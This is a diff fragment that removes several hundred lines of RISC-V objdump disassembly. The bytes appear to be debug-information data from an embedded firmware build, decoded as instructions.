-    2b3e:	0096                	slli	ra,ra,0x5
-    2b40:	0000                	unimp
-    2b42:	e61d                	bnez	a2,2b70 <__stack_size+0x2370>
-    2b44:	00a5                	addi	ra,ra,9
-    2b46:	0100                	addi	s0,sp,128
-    2b48:	045f 9608 0000      	0x9608045f
-    2b4e:	1d00                	addi	s0,sp,688
-    2b50:	0000a607          	flw	fa2,0(ra)
-    2b54:	5f01                	li	t5,-32
-    2b56:	0804                	addi	s1,sp,16
-    2b58:	0096                	slli	ra,ra,0x5
-    2b5a:	0000                	unimp
-    2b5c:	021d                	addi	tp,tp,7
-    2b5e:	00a6                	slli	ra,ra,0x9
-    2b60:	0100                	addi	s0,sp,128
-    2b62:	045f 9608 0000      	0x9608045f
-    2b68:	1b00                	addi	s0,sp,432
-    2b6a:	5f5f 006d 5f01      	0x5f01006d5f5f
-    2b70:	0804                	addi	s1,sp,16
-    2b72:	0096                	slli	ra,ra,0x5
-    2b74:	0000                	unimp
-    2b76:	1c00                	addi	s0,sp,560
-    2b78:	066c                	addi	a1,sp,780
-    2b7a:	0000                	unimp
-    2b7c:	a91d                	j	2fb2 <__stack_size+0x27b2>
-    2b7e:	00a5                	addi	ra,ra,9
-    2b80:	0100                	addi	s0,sp,128
-    2b82:	0464                	addi	s1,sp,524
-    2b84:	9604                	0x9604
-    2b86:	0000                	unimp
-    2b88:	1d00                	addi	s0,sp,688
-    2b8a:	a5a4                	fsd	fs1,72(a1)
-    2b8c:	0000                	unimp
-    2b8e:	6401                	0x6401
-    2b90:	0404                	addi	s1,sp,512
-    2b92:	0096                	slli	ra,ra,0x5
-    2b94:	0000                	unimp
-    2b96:	eb1d                	bnez	a4,2bcc <__stack_size+0x23cc>
-    2b98:	00a5                	addi	ra,ra,9
-    2b9a:	0100                	addi	s0,sp,128
-    2b9c:	0464                	addi	s1,sp,524
-    2b9e:	9604                	0x9604
-    2ba0:	0000                	unimp
-    2ba2:	1d00                	addi	s0,sp,688
-    2ba4:	a5e6                	fsd	fs9,200(sp)
-    2ba6:	0000                	unimp
-    2ba8:	6401                	0x6401
-    2baa:	0404                	addi	s1,sp,512
-    2bac:	0096                	slli	ra,ra,0x5
-    2bae:	0000                	unimp
-    2bb0:	071d                	addi	a4,a4,7
-    2bb2:	00a6                	slli	ra,ra,0x9
-    2bb4:	0100                	addi	s0,sp,128
-    2bb6:	0464                	addi	s1,sp,524
-    2bb8:	9604                	0x9604
-    2bba:	0000                	unimp
-    2bbc:	1d00                	addi	s0,sp,688
-    2bbe:	a602                	fsd	ft0,264(sp)
-    2bc0:	0000                	unimp
-    2bc2:	6401                	0x6401
-    2bc4:	0404                	addi	s1,sp,512
-    2bc6:	0096                	slli	ra,ra,0x5
-    2bc8:	0000                	unimp
-    2bca:	6d5f5f1b          	0x6d5f5f1b
-    2bce:	0100                	addi	s0,sp,128
-    2bd0:	0464                	addi	s1,sp,524
-    2bd2:	9604                	0x9604
-    2bd4:	0000                	unimp
-    2bd6:	0000                	unimp
-    2bd8:	8c1c                	0x8c1c
-    2bda:	0006                	c.slli	zero,0x1
-    2bdc:	1d00                	addi	s0,sp,688
-    2bde:	a5f0                	fsd	fa2,200(a1)
-    2be0:	0000                	unimp
-    2be2:	8701                	c.srai64	a4
-    2be4:	0404                	addi	s1,sp,512
-    2be6:	0096                	slli	ra,ra,0x5
-    2be8:	0000                	unimp
-    2bea:	615f5f1b          	0x615f5f1b
-    2bee:	0100                	addi	s0,sp,128
-    2bf0:	96040487          	0x96040487
-    2bf4:	0000                	unimp
-    2bf6:	0000                	unimp
-    2bf8:	9f1c                	0x9f1c
-    2bfa:	0006                	c.slli	zero,0x1
-    2bfc:	1b00                	addi	s0,sp,432
-    2bfe:	5f5f 0078 9501      	0x950100785f5f
-    2c04:	0504                	addi	s1,sp,640
-    2c06:	0096                	slli	ra,ra,0x5
-    2c08:	0000                	unimp
-    2c0a:	1e00                	addi	s0,sp,816
-    2c0c:	00316d1b          	0x316d1b
-    2c10:	a501                	j	3210 <__stack_size+0x2a10>
-    2c12:	0f04                	addi	s1,sp,912
-    2c14:	0096                	slli	ra,ra,0x5
-    2c16:	0000                	unimp
-    2c18:	00306d1b          	0x306d1b
-    2c1c:	a501                	j	321c <__stack_size+0x2a1c>
-    2c1e:	1304                	addi	s1,sp,416
-    2c20:	0096                	slli	ra,ra,0x5
-    2c22:	0000                	unimp
-    2c24:	191c                	addi	a5,sp,176
-    2c26:	1d000007          	0x1d000007
-    2c2a:	a5a9                	j	3274 <__stack_size+0x2a74>
-    2c2c:	0000                	unimp
-    2c2e:	b001                	j	242e <__stack_size+0x1c2e>
-    2c30:	0804                	addi	s1,sp,16
-    2c32:	0096                	slli	ra,ra,0x5
-    2c34:	0000                	unimp
-    2c36:	a41d                	j	2e5c <__stack_size+0x265c>
-    2c38:	00a5                	addi	ra,ra,9
-    2c3a:	0100                	addi	s0,sp,128
-    2c3c:	04b0                	addi	a2,sp,584
-    2c3e:	9608                	0x9608
-    2c40:	0000                	unimp
-    2c42:	1d00                	addi	s0,sp,688
-    2c44:	0000a5eb          	0xa5eb
-    2c48:	b001                	j	2448 <__stack_size+0x1c48>
-    2c4a:	0804                	addi	s1,sp,16
-    2c4c:	0096                	slli	ra,ra,0x5
-    2c4e:	0000                	unimp
-    2c50:	e61d                	bnez	a2,2c7e <__stack_size+0x247e>
-    2c52:	00a5                	addi	ra,ra,9
-    2c54:	0100                	addi	s0,sp,128
-    2c56:	04b0                	addi	a2,sp,584
-    2c58:	9608                	0x9608
-    2c5a:	0000                	unimp
-    2c5c:	1d00                	addi	s0,sp,688
-    2c5e:	0000a607          	flw	fa2,0(ra)
-    2c62:	b001                	j	2462 <__stack_size+0x1c62>
-    2c64:	0804                	addi	s1,sp,16
-    2c66:	0096                	slli	ra,ra,0x5
-    2c68:	0000                	unimp
-    2c6a:	021d                	addi	tp,tp,7
-    2c6c:	00a6                	slli	ra,ra,0x9
-    2c6e:	0100                	addi	s0,sp,128
-    2c70:	04b0                	addi	a2,sp,584
-    2c72:	9608                	0x9608
-    2c74:	0000                	unimp
-    2c76:	1b00                	addi	s0,sp,432
-    2c78:	5f5f 006d b001      	0xb001006d5f5f
-    2c7e:	0804                	addi	s1,sp,16
-    2c80:	0096                	slli	ra,ra,0x5
-    2c82:	0000                	unimp
-    2c84:	1c00                	addi	s0,sp,560
-    2c86:	00000787          	0x787
-    2c8a:	c21d                	beqz	a2,2cb0 <__stack_size+0x24b0>
-    2c8c:	00a5                	addi	ra,ra,9
-    2c8e:	0100                	addi	s0,sp,128
-    2c90:	04b1                	addi	s1,s1,12
-    2c92:	9608                	0x9608
-    2c94:	0000                	unimp
-    2c96:	1d00                	addi	s0,sp,688
-    2c98:	0000a5c7          	fmsub.s	fa1,ft1,ft0,ft0,rdn
-    2c9c:	b101                	j	289c <__stack_size+0x209c>
-    2c9e:	0804                	addi	s1,sp,16
-    2ca0:	0096                	slli	ra,ra,0x5
-    2ca2:	0000                	unimp
-    2ca4:	cc1d                	beqz	s0,2ce2 <__stack_size+0x24e2>
-    2ca6:	00a5                	addi	ra,ra,9
-    2ca8:	0100                	addi	s0,sp,128
-    2caa:	04b1                	addi	s1,s1,12
-    2cac:	9608                	0x9608
-    2cae:	0000                	unimp
-    2cb0:	1d00                	addi	s0,sp,688
-    2cb2:	a5d1                	j	3376 <__stack_size+0x2b76>
-    2cb4:	0000                	unimp
-    2cb6:	b101                	j	28b6 <__stack_size+0x20b6>
-    2cb8:	0804                	addi	s1,sp,16
-    2cba:	0096                	slli	ra,ra,0x5
-    2cbc:	0000                	unimp
-    2cbe:	111d                	addi	sp,sp,-25
-    2cc0:	00a6                	slli	ra,ra,0x9
-    2cc2:	0100                	addi	s0,sp,128
-    2cc4:	04b1                	addi	s1,s1,12
-    2cc6:	9608                	0x9608
-    2cc8:	0000                	unimp
-    2cca:	1d00                	addi	s0,sp,688
-    2ccc:	0000a5b3          	sltz	a1,ra
-    2cd0:	b101                	j	28d0 <__stack_size+0x20d0>
-    2cd2:	0804                	addi	s1,sp,16
-    2cd4:	0096                	slli	ra,ra,0x5
-    2cd6:	0000                	unimp
-    2cd8:	0c1d                	addi	s8,s8,7
-    2cda:	00a6                	slli	ra,ra,0x9
-    2cdc:	0100                	addi	s0,sp,128
-    2cde:	04b1                	addi	s1,s1,12
-    2ce0:	9608                	0x9608
-    2ce2:	0000                	unimp
-    2ce4:	1d00                	addi	s0,sp,688
-    2ce6:	a5ae                	fsd	fa1,200(sp)
-    2ce8:	0000                	unimp
-    2cea:	b101                	j	28ea <__stack_size+0x20ea>
-    2cec:	0804                	addi	s1,sp,16
-    2cee:	0096                	slli	ra,ra,0x5
-    2cf0:	0000                	unimp
-    2cf2:	1c00                	addi	s0,sp,560
-    2cf4:	079a                	slli	a5,a5,0x6
-    2cf6:	0000                	unimp
-    2cf8:	785f5f1b          	0x785f5f1b
-    2cfc:	0100                	addi	s0,sp,128
-    2cfe:	04b6                	slli	s1,s1,0xd
-    2d00:	9605                	srai	a2,a2,0x21
-    2d02:	0000                	unimp
-    2d04:	0000                	unimp
-    2d06:	1b1e                	slli	s6,s6,0x27
-    2d08:	5f5f 0078 be01      	0xbe0100785f5f
-    2d0e:	0504                	addi	s1,sp,640
-    2d10:	0096                	slli	ra,ra,0x5
-    2d12:	0000                	unimp
-    2d14:	0000                	unimp
-    2d16:	1f00                	addi	s0,sp,944
-    2d18:	ae04                	fsd	fs1,24(a2)
-    2d1a:	0000                	unimp
-    2d1c:	0000                	unimp
-    2d1e:	000000d3          	fadd.s	ft1,ft0,ft0,rne
-    2d22:	0004                	0x4
-    2d24:	0728                	addi	a0,sp,904
-    2d26:	0000                	unimp
-    2d28:	0104                	addi	s1,sp,128
-    2d2a:	a42a                	fsd	fa0,8(sp)
-    2d2c:	0000                	unimp
-    2d2e:	4d0c                	lw	a1,24(a0)
-    2d30:	8e0000a3          	sb	zero,-1823(zero) # fffff8e1 <_heap_end+0x7fff10e1>
-    2d34:	b10000a3          	sb	a6,-1279(zero) # fffffb01 <_heap_end+0x7fff1301>
-    2d38:	02000037          	lui	zero,0x2000
-    2d3c:	0504                	addi	s1,sp,640
-    2d3e:	6e69                	lui	t3,0x1a
-    2d40:	0074                	addi	a3,sp,12
-    2d42:	64070403          	lb	s0,1600(a4)
-    2d46:	0071                	c.nop	28
-    2d48:	0300                	addi	s0,sp,384
-    2d4a:	0508                	addi	a0,sp,640
-    2d4c:	8fe4                	0x8fe4
-    2d4e:	0000                	unimp
-    2d50:	96041003          	lh	zero,-1696(s0) # 72697c04 <_data_lma+0x52291c24>
-    2d54:	0091                	addi	ra,ra,4
-    2d56:	0300                	addi	s0,sp,384
-    2d58:	0601                	addi	a2,a2,0
-    2d5a:	7eea                	flw	ft9,184(sp)
-    2d5c:	0000                	unimp
-    2d5e:	39080103          	lb	sp,912(a6)
-    2d62:	0014                	0x14
-    2d64:	0300                	addi	s0,sp,384
-    2d66:	0502                	c.slli64	a0
-    2d68:	3754                	fld	fa3,168(a4)
-    2d6a:	0000                	unimp
-    2d6c:	7a070203          	lb	tp,1952(a4)
-    2d70:	0300009b          	0x300009b
-    2d74:	0504                	addi	s1,sp,640
-    2d76:	505c                	lw	a5,36(s0)
-    2d78:	0000                	unimp
-    2d7a:	14070403          	lb	s0,320(a4)
-    2d7e:	0065                	c.nop	25
-    2d80:	0300                	addi	s0,sp,384
-    2d82:	0708                	addi	a0,sp,896
-    2d84:	06a1                	addi	a3,a3,8
-    2d86:	0000                	unimp
-    2d88:	f1080103          	lb	sp,-240(a6)
-    2d8c:	007e                	c.slli	zero,0x1f
-    2d8e:	0400                	addi	s0,sp,512
-    2d90:	a5d6                	fsd	fs5,200(sp)
-    2d92:	0000                	unimp
-    2d94:	7b01                	lui	s6,0xfffe0
-    2d96:	4016                	0x4016
-    2d98:	0000                	unimp
-    2d9a:	0500                	addi	s0,sp,640
-    2d9c:	0071                	c.nop	28
-    2d9e:	0000                	unimp
-    2da0:	15040403          	lb	s0,336(s0)
-    2da4:	00a4                	addi	s1,sp,72
-    2da6:	0300                	addi	s0,sp,384
-    2da8:	0308                	addi	a0,sp,384
-    2daa:	a40d                	j	2fcc <__stack_size+0x27cc>
-    2dac:	0000                	unimp
-    2dae:	9b040803          	lb	a6,-1616(s0)
-    2db2:	0091                	addi	ra,ra,4
-    2db4:	0300                	addi	s0,sp,384
-    2db6:	0310                	addi	a2,sp,384
-    2db8:	0000a41b          	0xa41b
-    2dbc:	f9032003          	lw	zero,-112(t1) # 7492f8 <__stack_size+0x748af8>
-    2dc0:	060000a3          	sb	zero,97(zero) # 61 <__stack_size-0x79f>
-    2dc4:	007d                	c.nop	31
-    2dc6:	0000                	unimp
-    2dc8:	00b5                	addi	ra,ra,13
-    2dca:	0000                	unimp
-    2dcc:	00002407          	flw	fs0,0(zero) # 0 <__stack_size-0x800>
-    2dd0:	ff00                	fsw	fs0,56(a4)
-    2dd2:	0500                	addi	s0,sp,640
-    2dd4:	00a5                	addi	ra,ra,9
-    2dd6:	0000                	unimp
-    2dd8:	b808                	fsd	fa0,48(s0)
-    2dda:	00a5                	addi	ra,ra,9
-    2ddc:	0100                	addi	s0,sp,128
-    2dde:	0202                	c.slli64	tp
-    2de0:	b516                	fsd	ft5,168(sp)
-    2de2:	0000                	unimp
-    2de4:	0900                	addi	s0,sp,144
-    2de6:	00ba                	slli	ra,ra,0xe
-    2de8:	0000                	unimp
-    2dea:	b202                	fsd	ft0,288(sp)
-    2dec:	0f02                	c.slli64	t5
-    2dee:	0305                	addi	t1,t1,1
-    2df0:	5ce8                	lw	a0,124(s1)
-    2df2:	2040                	fld	fs0,128(s0)
-    2df4:	0800                	addi	s0,sp,16
-    2df6:	0008                	0x8
-    2df8:	0400                	addi	s0,sp,512
-    2dfa:	9800                	0x9800
-    2dfc:	04000007          	0x4000007
-    2e00:	de01                	beqz	a2,2d18 <__stack_size+0x2518>
-    2e02:	00a4                	addi	s1,sp,72
-    2e04:	0c00                	addi	s0,sp,528
-    2e06:	a34d                	j	33a8 <__stack_size+0x2ba8>
-    2e08:	0000                	unimp
-    2e0a:	a38e                	fsd	ft3,448(sp)
-    2e0c:	0000                	unimp
-    2e0e:	4ed6                	lw	t4,84(sp)
-    2e10:	2040                	fld	fs0,128(s0)
-    2e12:	0340                	addi	s0,sp,388
-    2e14:	0000                	unimp
-    2e16:	380a                	fld	fa6,160(sp)
-    2e18:	0000                	unimp
-    2e1a:	0802                	c.slli64	a6
-    2e1c:	0006a107          	flw	ft2,0(a3)
-    2e20:	0300                	addi	s0,sp,384
-    2e22:	0504                	addi	s1,sp,640
-    2e24:	6e69                	lui	t3,0x1a
-    2e26:	0074                	addi	a3,sp,12
-    2e28:	0402                	c.slli64	s0
-    2e2a:	00716407          	0x716407
-    2e2e:	0200                	addi	s0,sp,256
-    2e30:	0508                	addi	a0,sp,640
-    2e32:	8fe4                	0x8fe4
-    2e34:	0000                	unimp
-    2e36:	1002                	c.slli	zero,0x20
-    2e38:	9604                	0x9604
-    2e3a:	0091                	addi	ra,ra,4
-    2e3c:	0200                	addi	s0,sp,256
-    2e3e:	0601                	addi	a2,a2,0
-    2e40:	7eea                	flw	ft9,184(sp)
-    2e42:	0000                	unimp
-    2e44:	0102                	c.slli64	sp
-    2e46:	3908                	fld	fa0,48(a0)
-    2e48:	0014                	0x14
-    2e4a:	0200                	addi	s0,sp,256
-    2e4c:	0502                	c.slli64	a0
-    2e4e:	3754                	fld	fa3,168(a4)
-    2e50:	0000                	unimp
-    2e52:	0202                	c.slli64	tp
-    2e54:	009b7a07          	0x9b7a07
-    2e58:	0200                	addi	s0,sp,256
-    2e5a:	0504                	addi	s1,sp,640
-    2e5c:	505c                	lw	a5,36(s0)
-    2e5e:	0000                	unimp
-    2e60:	0402                	c.slli64	s0
-    2e62:	00651407          	0x651407
-    2e66:	0200                	addi	s0,sp,256
-    2e68:	0801                	addi	a6,a6,0
-    2e6a:	7ef1                	lui	t4,0xffffc
-    2e6c:	0000                	unimp
-    2e6e:	d604                	sw	s1,40(a2)
-    2e70:	00a5                	addi	ra,ra,9
-    2e72:	0200                	addi	s0,sp,256
-    2e74:	004f167b          	0x4f167b
-    2e78:	0000                	unimp
-    2e7a:	7905                	lui	s2,0xfffe1
-    2e7c:	0000                	unimp
-    2e7e:	0400                	addi	s0,sp,512
-    2e80:	0000a387          	flw	ft7,0(ra)
-    2e84:	8002                	0x8002
-    2e86:	00002c0f          	0x2c0f
-    2e8a:	0400                	addi	s0,sp,512
-    2e8c:	a386                	fsd	ft1,448(sp)
-    2e8e:	0000                	unimp
-    2e90:	8102                	jr	sp
-    2e92:	3316                	fld	ft6,352(sp)
-    2e94:	0000                	unimp
-    2e96:	0400                	addi	s0,sp,512
-    2e98:	a5df 0000 8402      	0x84020000a5df
-    2e9e:	00003a0f          	0x3a0f
-    2ea2:	0400                	addi	s0,sp,512
-    2ea4:	a5de                	fsd	fs7,200(sp)
-    2ea6:	0000                	unimp
-    2ea8:	8502                	jr	a0
-    2eaa:	2516                	fld	fa0,320(sp)
-    2eac:	0000                	unimp
-    2eae:	0200                	addi	s0,sp,256
-    2eb0:	0404                	addi	s1,sp,512
-    2eb2:	a415                	j	30d6 <__stack_size+0x28d6>
-    2eb4:	0000                	unimp
-    2eb6:	0802                	c.slli64	a6
-    2eb8:	00a40d03          	lb	s10,10(s0)
-    2ebc:	0200                	addi	s0,sp,256
-    2ebe:	0408                	addi	a0,sp,512
-    2ec0:	0000919b          	0x919b
-    2ec4:	1002                	c.slli	zero,0x20
-    2ec6:	00a41b03          	lh	s6,10(s0)
-    2eca:	0200                	addi	s0,sp,256
-    2ecc:	0320                	addi	s0,sp,392
-    2ece:	a3f9                	j	349c <__stack_size+0x2c9c>
-    2ed0:	0000                	unimp
-    2ed2:	4406                	lw	s0,64(sp)
-    2ed4:	080000a3          	sb	zero,129(zero) # 81 <__stack_size-0x77f>
-    2ed8:	ed02                	fsw	ft0,152(sp)
-    2eda:	0a01                	addi	s4,s4,0
-    2edc:	0108                	addi	a0,sp,128
-    2ede:	0000                	unimp
-    2ee0:	776f6c07          	0x776f6c07
-    2ee4:	0200                	addi	s0,sp,256
-    2ee6:	01ed                	addi	gp,gp,27
-    2ee8:	8a1a                	mv	s4,t1
-    2eea:	0000                	unimp
-    2eec:	0000                	unimp
-    2eee:	7908                	flw	fa0,48(a0)
-    2ef0:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    2ef4:	01ed                	addi	gp,gp,27
-    2ef6:	8a1f 0000 0400      	0x40000008a1f
-    2efc:	0900                	addi	s0,sp,144
-    2efe:	0208                	addi	a0,sp,256
-    2f00:	01f4                	addi	a3,sp,204
-    2f02:	2a09                	jal	3014 <__stack_size+0x2814>
-    2f04:	0001                	nop
-    2f06:	0a00                	addi	s0,sp,272
-    2f08:	f6020073          	0xf6020073
-    2f0c:	1301                	addi	t1,t1,-32
-    2f0e:	00dd                	addi	ra,ra,23
-    2f10:	0000                	unimp
-    2f12:	6c0a                	flw	fs8,128(sp)
-    2f14:	006c                	addi	a1,sp,12
-    2f16:	f702                	fsw	ft0,172(sp)
-    2f18:	0a01                	addi	s4,s4,0
-    2f1a:	00a2                	slli	ra,ra,0x8
-    2f1c:	0000                	unimp
-    2f1e:	0b00                	addi	s0,sp,400
-    2f20:	a3f1                	j	34ec <__stack_size+0x2cec>
-    2f22:	0000                	unimp
-    2f24:	f802                	fsw	ft0,48(sp)
-    2f26:	0301                	addi	t1,t1,0
-    2f28:	0108                	addi	a0,sp,128
-    2f2a:	0000                	unimp
-    2f2c:	2a05                	jal	305c <__stack_size+0x285c>
-    2f2e:	0001                	nop
-    2f30:	0c00                	addi	s0,sp,528
-    2f32:	0085                	addi	ra,ra,1
-    2f34:	0000                	unimp
-    2f36:	014c                	addi	a1,sp,132
-    2f38:	0000                	unimp
-    2f3a:	330d                	jal	2c5c <__stack_size+0x245c>
-    2f3c:	0000                	unimp
-    2f3e:	ff00                	fsw	fs0,56(a4)
-    2f40:	0500                	addi	s0,sp,640
-    2f42:	013c                	addi	a5,sp,136
-    2f44:	0000                	unimp
-    2f46:	b80e                	fsd	ft3,48(sp)
-    2f48:	00a5                	addi	ra,ra,9
-    2f4a:	0200                	addi	s0,sp,256
-    2f4c:	0202                	c.slli64	tp
-    2f4e:	4c16                	lw	s8,68(sp)
-    2f50:	0001                	nop
-    2f52:	0f00                	addi	s0,sp,912
-    2f54:	a616                	fsd	ft5,264(sp)
-    2f56:	0000                	unimp
-    2f58:	1a01                	addi	s4,s4,-32
-    2f5a:	0105                	addi	sp,sp,1
-    2f5c:	00ae                	slli	ra,ra,0xb
-    2f5e:	0000                	unimp
-    2f60:	4ed6                	lw	t4,84(sp)
-    2f62:	2040                	fld	fs0,128(s0)
-    2f64:	0340                	addi	s0,sp,388
-    2f66:	0000                	unimp
-    2f68:	9c01                	0x9c01
-    2f6a:	0494                	addi	a3,sp,576
-    2f6c:	0000                	unimp
-    2f6e:	7510                	flw	fa2,40(a0)
-    2f70:	0100                	addi	s0,sp,128
-    2f72:	051a                	slli	a0,a0,0x6
-    2f74:	ae14                	fsd	fa3,24(a2)
-    2f76:	0000                	unimp
-    2f78:	d400                	sw	s0,40(s0)
-    2f7a:	001c                	0x1c
-    2f7c:	1000                	addi	s0,sp,32
-    2f7e:	0076                	c.slli	zero,0x1d
-    2f80:	1a01                	addi	s4,s4,-32
-    2f82:	1f05                	addi	t5,t5,-31
-    2f84:	00ae                	slli	ra,ra,0xb
-    2f86:	0000                	unimp
-    2f88:	1d7c                	addi	a5,sp,700
-    2f8a:	0000                	unimp
-    2f8c:	7711                	lui	a4,0xfffe4
-    2f8e:	0100                	addi	s0,sp,128
-    2f90:	051c                	addi	a5,sp,640
-    2f92:	0000ae0b          	0xae0b
-    2f96:	0400                	addi	s0,sp,512
-    2f98:	001e                	c.slli	zero,0x7
-    2f9a:	1200                	addi	s0,sp,288
-    2f9c:	0494                	addi	a3,sp,576
-    2f9e:	0000                	unimp
-    2fa0:	4ed8                	lw	a4,28(a3)
-    2fa2:	2040                	fld	fs0,128(s0)
-    2fa4:	0468                	addi	a0,sp,524
-    2fa6:	0000                	unimp
-    2fa8:	1e01                	addi	t3,t3,-32
-    2faa:	0a05                	addi	s4,s4,1
-    2fac:	0004bc13          	sltiu	s8,s1,0
-    2fb0:	2c00                	fld	fs0,24(s0)
-    2fb2:	001e                	c.slli	zero,0x7
-    2fb4:	1300                	addi	s0,sp,416
-    2fb6:	04b1                	addi	s1,s1,12
-    2fb8:	0000                	unimp
-    2fba:	1e54                	addi	a3,sp,820
-    2fbc:	0000                	unimp
-    2fbe:	0004a613          	slti	a2,s1,0
-    2fc2:	bc00                	fsd	fs0,56(s0)
-    2fc4:	001e                	c.slli	zero,0x7
-    2fc6:	1400                	addi	s0,sp,544
-    2fc8:	0468                	addi	a0,sp,524
-    2fca:	0000                	unimp
-    2fcc:	c815                	beqz	s0,3000 <__stack_size+0x2800>
-    2fce:	0004                	0x4
-    2fd0:	1500                	addi	s0,sp,672
-    2fd2:	04d4                	addi	a3,sp,580
-    2fd4:	0000                	unimp
-    2fd6:	e015                	bnez	s0,2ffa <__stack_size+0x27fa>
-    2fd8:	0004                	0x4
-    2fda:	1600                	addi	s0,sp,800
-    2fdc:	04ec                	addi	a1,sp,588
-    2fde:	0000                	unimp
-    2fe0:	1f34                	addi	a3,sp,952
-    2fe2:	0000                	unimp
-    2fe4:	f816                	fsw	ft5,48(sp)
-    2fe6:	0004                	0x4
-    2fe8:	7e00                	flw	fs0,56(a2)
-    2fea:	001f 1600 0504      	0x5041600001f
-    2ff0:	0000                	unimp
-    2ff2:	00001fd3          	fadd.s	ft11,ft0,ft0,rtz
-    2ff6:	1016                	c.slli	zero,0x25
-    2ff8:	0005                	c.nop	1
-    2ffa:	6a00                	flw	fs0,16(a2)
-    2ffc:	0020                	addi	s0,sp,8
-    2ffe:	1600                	addi	s0,sp,800
-    3000:	051c                	addi	a5,sp,640
-    3002:	0000                	unimp
-    3004:	20f6                	fld	ft1,344(sp)
-    3006:	0000                	unimp
-    3008:	2816                	fld	fa6,320(sp)
-    300a:	0005                	c.nop	1
-    300c:	1400                	addi	s0,sp,544
-    300e:	0021                	c.nop	8
-    3010:	1600                	addi	s0,sp,800
-    3012:	0534                	addi	a3,sp,648
-    3014:	0000                	unimp
-    3016:	2128                	fld	fa0,64(a0)
-    3018:	0000                	unimp
-    301a:	4016                	0x4016
-    301c:	0005                	c.nop	1
-    301e:	4800                	lw	s0,16(s0)
-    3020:	0021                	c.nop	8
-    3022:	1600                	addi	s0,sp,800
-    3024:	0000054b          	fnmsub.s	fa0,ft0,ft0,ft0,rne
-    3028:	2166                	fld	ft2,88(sp)
-    302a:	0000                	unimp
-    302c:	5715                	li	a4,-27
-    302e:	0005                	c.nop	1
-    3030:	1700                	addi	s0,sp,928
-    3032:	00000563          	beqz	zero,303c <__stack_size+0x283c>
-    3036:	0480                	addi	s0,sp,576
-    3038:	0000                	unimp
-    303a:	025c                	addi	a5,sp,260
-    303c:	0000                	unimp
-    303e:	6816                	flw	fa6,68(sp)
-    3040:	0005                	c.nop	1
-    3042:	a500                	fsd	fs0,8(a0)
-    3044:	0021                	c.nop	8
-    3046:	1600                	addi	s0,sp,800
-    3048:	0575                	addi	a0,a0,29
-    304a:	0000                	unimp
-    304c:	000021c3          	fmadd.s	ft3,ft0,ft0,ft0,rdn
-    3050:	1800                	addi	s0,sp,48
-    3052:	00000583          	lb	a1,0(zero) # 0 <__stack_size-0x800>
-    3056:	4f2a                	lw	t5,136(sp)
-    3058:	2040                	fld	fs0,128(s0)
-    305a:	0056                	c.slli	zero,0x15
-    305c:	0000                	unimp
-    305e:	02a9                	addi	t0,t0,10
-    3060:	0000                	unimp
-    3062:	8816                	mv	a6,t0
-    3064:	0005                	c.nop	1
-    3066:	d600                	sw	s0,40(a2)
-    3068:	0021                	c.nop	8
-    306a:	1600                	addi	s0,sp,800
-    306c:	0595                	addi	a1,a1,5
-    306e:	0000                	unimp
-    3070:	21e9                	jal	353a <__stack_size+0x2d3a>
-    3072:	0000                	unimp
-    3074:	a215                	j	3198 <__stack_size+0x2998>
-    3076:	0005                	c.nop	1
-    3078:	1600                	addi	s0,sp,800
-    307a:	000005af          	0x5af
-    307e:	21fc                	fld	fa5,192(a1)
-    3080:	0000                	unimp
-    3082:	bc16                	fsd	ft5,56(sp)
-    3084:	0005                	c.nop	1
-    3086:	0f00                	addi	s0,sp,912
-    3088:	0022                	c.slli	zero,0x8
-    308a:	1600                	addi	s0,sp,800
-    308c:	05c9                	addi	a1,a1,18
-    308e:	0000                	unimp
-    3090:	222d                	jal	31ba <__stack_size+0x29ba>
-    3092:	0000                	unimp
-    3094:	d616                	sw	t0,44(sp)
-    3096:	0005                	c.nop	1
-    3098:	4b00                	lw	s0,16(a4)
-    309a:	0022                	c.slli	zero,0x8
-    309c:	0000                	unimp
-    309e:	0005e417          	auipc	s0,0x5e
-    30a2:	9800                	0x9800
-    30a4:	0004                	0x4
-    30a6:	c900                	sw	s0,16(a0)
-    30a8:	0002                	c.slli64	zero
-    30aa:	1600                	addi	s0,sp,800
-    30ac:	05e9                	addi	a1,a1,26
-    30ae:	0000                	unimp
-    30b0:	2269                	jal	323a <__stack_size+0x2a3a>
-    30b2:	0000                	unimp
-    30b4:	f616                	fsw	ft5,44(sp)
-    30b6:	0005                	c.nop	1
-    30b8:	8700                	0x8700
-    30ba:	0022                	c.slli	zero,0x8
-    30bc:	0000                	unimp
-    30be:	6518                	flw	fa4,8(a0)
-    30c0:	0006                	c.slli	zero,0x1
-    30c2:	ca00                	sw	s0,16(a2)
-    30c4:	5c20404f          	0x5c20404f
-    30c8:	0000                	unimp
-    30ca:	1a00                	addi	s0,sp,304
-    30cc:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    30d0:	066a                	slli	a2,a2,0x1a
-    30d2:	0000                	unimp
-    30d4:	229a                	fld	ft5,384(sp)
-    30d6:	0000                	unimp
-    30d8:	7716                	flw	fa4,100(sp)
-    30da:	0006                	c.slli	zero,0x1
-    30dc:	ad00                	fsd	fs0,24(a0)
-    30de:	0022                	c.slli	zero,0x8
-    30e0:	1600                	addi	s0,sp,800
-    30e2:	0684                	addi	s1,sp,832
-    30e4:	0000                	unimp
-    30e6:	22d1                	jal	32aa <__stack_size+0x2aaa>
-    30e8:	0000                	unimp
-    30ea:	9116                	add	sp,sp,t0
-    30ec:	0006                	c.slli	zero,0x1
-    30ee:	e400                	fsw	fs0,8(s0)
-    30f0:	0022                	c.slli	zero,0x8
-    30f2:	1600                	addi	s0,sp,800
-    30f4:	069e                	slli	a3,a3,0x7
-    30f6:	0000                	unimp
-    30f8:	000022f7          	0x22f7
-    30fc:	ab16                	fsd	ft5,400(sp)
-    30fe:	0006                	c.slli	zero,0x1
-    3100:	2000                	fld	fs0,0(s0)
-    3102:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    3106:	06b8                	addi	a4,sp,840
-    3108:	0000                	unimp
-    310a:	233e                	fld	ft6,456(sp)
-    310c:	0000                	unimp
-    310e:	1700                	addi	s0,sp,928
-    3110:	0604                	addi	s1,sp,768
-    3112:	0000                	unimp
-    3114:	04b0                	addi	a2,sp,584
-    3116:	0000                	unimp
-    3118:	00000367          	jalr	t1,zero # 0 <__stack_size-0x800>
-    311c:	0916                	slli	s2,s2,0x5
-    311e:	0006                	c.slli	zero,0x1
-    3120:	5c00                	lw	s0,56(s0)
-    3122:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    3126:	0616                	slli	a2,a2,0x5
-    3128:	0000                	unimp
